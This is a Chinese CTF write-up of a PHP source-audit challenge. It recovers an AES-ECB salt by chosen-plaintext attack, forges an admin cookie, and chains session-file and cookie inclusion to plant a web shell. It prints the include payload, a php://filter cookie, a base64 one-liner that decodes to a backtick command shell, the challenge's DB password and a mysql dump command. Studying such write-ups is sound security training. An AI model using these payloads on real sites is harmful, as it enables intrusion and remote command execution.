本文首发 先知社区 ,转载请注明链接。
本题考察PHP源码审计。主要有两个缺陷:使用ECB模式进行AES加密导致的CPA(选择明文攻击)和 文件包含。有两处可以向文件写入内容以供包含,但均被过滤,最终通过以未被过滤的Cookie为跳板连接两处文件包含来写入Shell。文末还介绍了一种深入利用一处文件包含getshell的解法。
概览
打开 http://178.128.87.16 是一个登陆页面,注册账户后有四个页面,HOME
是欢迎页,CHARACTER
页可以和宠物角色互动,但账户刚注册完是没有宠物的,需要获取ADMIN权限后自行添加, SETTING
页可以修改用户名和选择头像,GAME
页是一个Flash小游戏,和本题无关。
文件包含
index.php
index.php
文件中有如下语句,显然存在文件包含。
1 | if(isset($_GET['page']) && !empty($_GET['page'])) |
但所有 GET
和POST
提交的参数都会被删除掉敏感字符串,其中 //
、(.+)
和`
` 是比较值得注意的。
1 | function bad_words($value) |
PHP使用PHPSESSID cookie值 存储会话标识,一般在/var/lib/php/sessions/sess_<PHPSESSID>
文件里写有一些有特定意义的字符串,其中<PHPSESSID>
可在Cookie里找到。尝试读取SESSION文件:
1 | http://178.128.87.16/index.php?page=/var/lib/php/sessions/sess_8es749ivbfetvsmsc0ggthr2e5 |
其中是序列化后的$_SESSION
和明文的操作记录,这些内容在后面会大有用处。
CPA猜解salt
login.php
阅读login.php
并跟入相关文件,可以看到有多处用到$salt
变量,其地位非常关键。
首先是从单独的表mapl_config
中读出值。
1 | $configRow=config_connect($conn); |
如果登陆成功就将用户名和邮箱加盐加密存储的$_SESSION
变量里。并且将admin
/user
字符串加盐加密存储在$_COOKIE['_role']
变量中,用以标识用户身份。
1 | if( $count === 1 && $row['userPass']===$password ) //登陆成功 |
setting.php
再查看setting.php
,这个文件实现了修改用户名页面的功能 。只要修改后的名字不长于22个字符,就使用mysqli_real_escape_string
处理并更新记录(避免SQL注入)。会被编码的字符有的 NUL(ASCII 0)、\n、\r、\、’、” 和 Control-Z。
1 | if(strlen($_POST['name'])<=22){ |
所有加密操作用的是同一个$salt
,加上上述包含Session文件的操作,就会有构造任意明文获取对应密文的可能。最重要的,加密方式采用了AES-128-ECB
,ECB
全称Electronic Codebook
(电码本),顾名思义,这种模式的特点就是相同的明文块加密后会得到相同的密文块。
这里采用128位的分组形式,也就是每十六字节一个明文块。举栗说明:
如果用户名是findneo
七个字节,$salt
是xianzhi
八个字节,那么加密过程就是把findneoxianzhi
共十五个字节作为一个分组去加密,缺一个字节按算法padding。
如果用户名是hifindneo
共九个字节,那么加密过程就是对hifindne
和oxianzhi
作为两个分组加密。
我们可以在SETTING
页面修改用户名来改变明文,然后使用文件包含读到Session文件内容来获取密文,这就是一个完整的选择明文攻击过程。
利用
怎么攻击呢?比如用户名是findneo
,(我们还不知道$salt
是xianzhi
) ,那么加密的第一个明文分组是findneox
,记录下$_SESSION['character_name']
的前32个字节十六进制数,也就是密文的第一个分组。
然后依次改变用户名为findneoa
、findneob
、.etc,并记录密文第一个分组。直到用户名为findneox
时发现密文第一个分组与用户名为findneo
时的相同。根据ECB模式的特点,就能知道$salt
的第一个字节为x
,事实上也确实如此。
测试发现用户名长15个字符时,$_SESSION['character_name']
有64字节十六进制数,也就是加盐加密后是32个字符,用户名长为16个字符时,$_SESSION['character_name']
有96字节,也就加盐加密后有48个字符。这说明$salt
长为16个字节。
然后就可以按照以上原理猜解$salt
,伪造$_COOKIE['_role']
,成为管理员。
1 | # -*- coding: utf-8 -*- |
爆破得到$salt
为ms_g00d_0ld_g4m3
,然后计算出admin
用户的Cookie为hashlib.sha256('admin' + salt).hexdigest()
也就是_role='a2ae9db7fd12a8911be74590b99bc7ad1f2f6ccd2e68e44afbf1280349205054'
。
可使用Fiddler的Filters功能设置请求头为PHPSESSID=8es749ivbfetvsmsc0ggthr2e5; _role=8e1c59c3fdd69afbc97fcf4c960aa5c5e919e7087c07c91cf690add608236cbe
,权限上升为ADMIN。
以Cookie为跳板的Session文件包含
admin.php
注意到Session文件中有部分明文信息,记录关于上一次的操作。每一次操作都会记录,但只有admin.php
中写入的内容存在可控变量:
1 | if ( isset($_POST['pet']) && !empty($_POST['pet']) && isset($_POST['email']) && !empty($_POST['email']) ) |
其中的search_name_by_mail($conn,$_POST['email'])
正是用户名,而这是可修改的。所以只要在CHARACTER
页面执行一次送宠物给某个用户的操作,Session文件中就会出现该用户的用户名。而如果用户名是PHP代码,就会被执行。
用户名修改有哪些限制?
首先是文件包含
小节提到的所有GET
,POST
参数都必须经过的黑名单过滤。
1 | function bad_words($value){ $too_bad="/(fuck|bakayaro|ditme|bitch|caonima|idiot|bobo|tanga|pin|gago|tangina|\/\/|damn|noob|pro|nishigou|stupid|ass|\(.+\)|`.+`|vcl|cyka|dcm)/is"; |
然后是setting.php
(代码见CPA猜解salt
小节)中要求的不大于22个字符。
character.php
所有功能中唯一一个直接写文件的操作在和CHARACTER
页面,同样需经过黑名单过滤,并且要求小于20个字符。
1 | if(isset($_POST['command']) && !empty($_POST['command'])) |
利用
思路
全局共有两处可以修改文件,可以修改用户名以修改Session文件,也可在CHARACTER
页面修改command.txt
,但两处都是由GET
或POST
传的参,参数被黑名单过滤导致无法直接发挥作用。
考虑到COOKIE没有被过滤,可以用作跳板,在Session文件中包含Cookie,在command.txt
写入编码后的无害字符串,在Cookie写入利用伪协议读取 command.txt
并解码的语句,就成功向Session文件写入了一句话。
其实从哪个文件经由哪个变量跳到哪个文件是有多种可能的,但本题受限于长度这很可能是唯一的解法。
步骤
- 在SETTING处修改用户名为
<?=include"$_COOKIE[a]
- 在Fiddler的Filters处的Cookie后面添加上一条
a=php://filter/convert.base64-decode/resource=upload/ac8d37347a056bad2a852e4ef40de28a/command.txt
- 在character处给宠物发一条命令
PD89YCRfR0VUW2ZdYDs
从而写入command.txt
1 | # PD89YCRfR0VUW2ZdYDs 可解码为 <?=`$_GET[f]`; |
- 在admin处给自己送一只宠物
使执行语句
1 | $log_content='['.date("h:i:sa").' GMT+7] gave '.$_POST['pet'].' to player '.search_name_by_mail($conn,$_POST['email']); |
而其中的search_name_by_mail($conn,$_POST['email']
正是用户名<?=include"$_COOKIE[a]
所以包含session文件就可以把Cookie里的变量a 包含进来,而a又是command.txt解码后的结果,也就是一句话木马。这时就可以以f为密码传入任意命令了。
- 读到数据库配置文件
- 读到配置文件dbconnect.php
1 |
|
- 然后执行命令
1 | echo 'SELECT * FROM mapl_config;'| mysql -umapl_story_user -ptsu_tsu_tsu_tsu mapl_story |
脚本
也可参考脚本理清利用过程:
1 | # -*- coding: utf-8 -*- |
另一种思路:拼接$_SESSION
变量
另外, 这篇文章 里提供的一种拼接$_SESSION
变量的做法虽不比前者综合利用多处缺陷的优雅,但最大化地利用了单点的缺陷,很有创意,值得学习。
1 | # -*- coding: utf-8 -*- |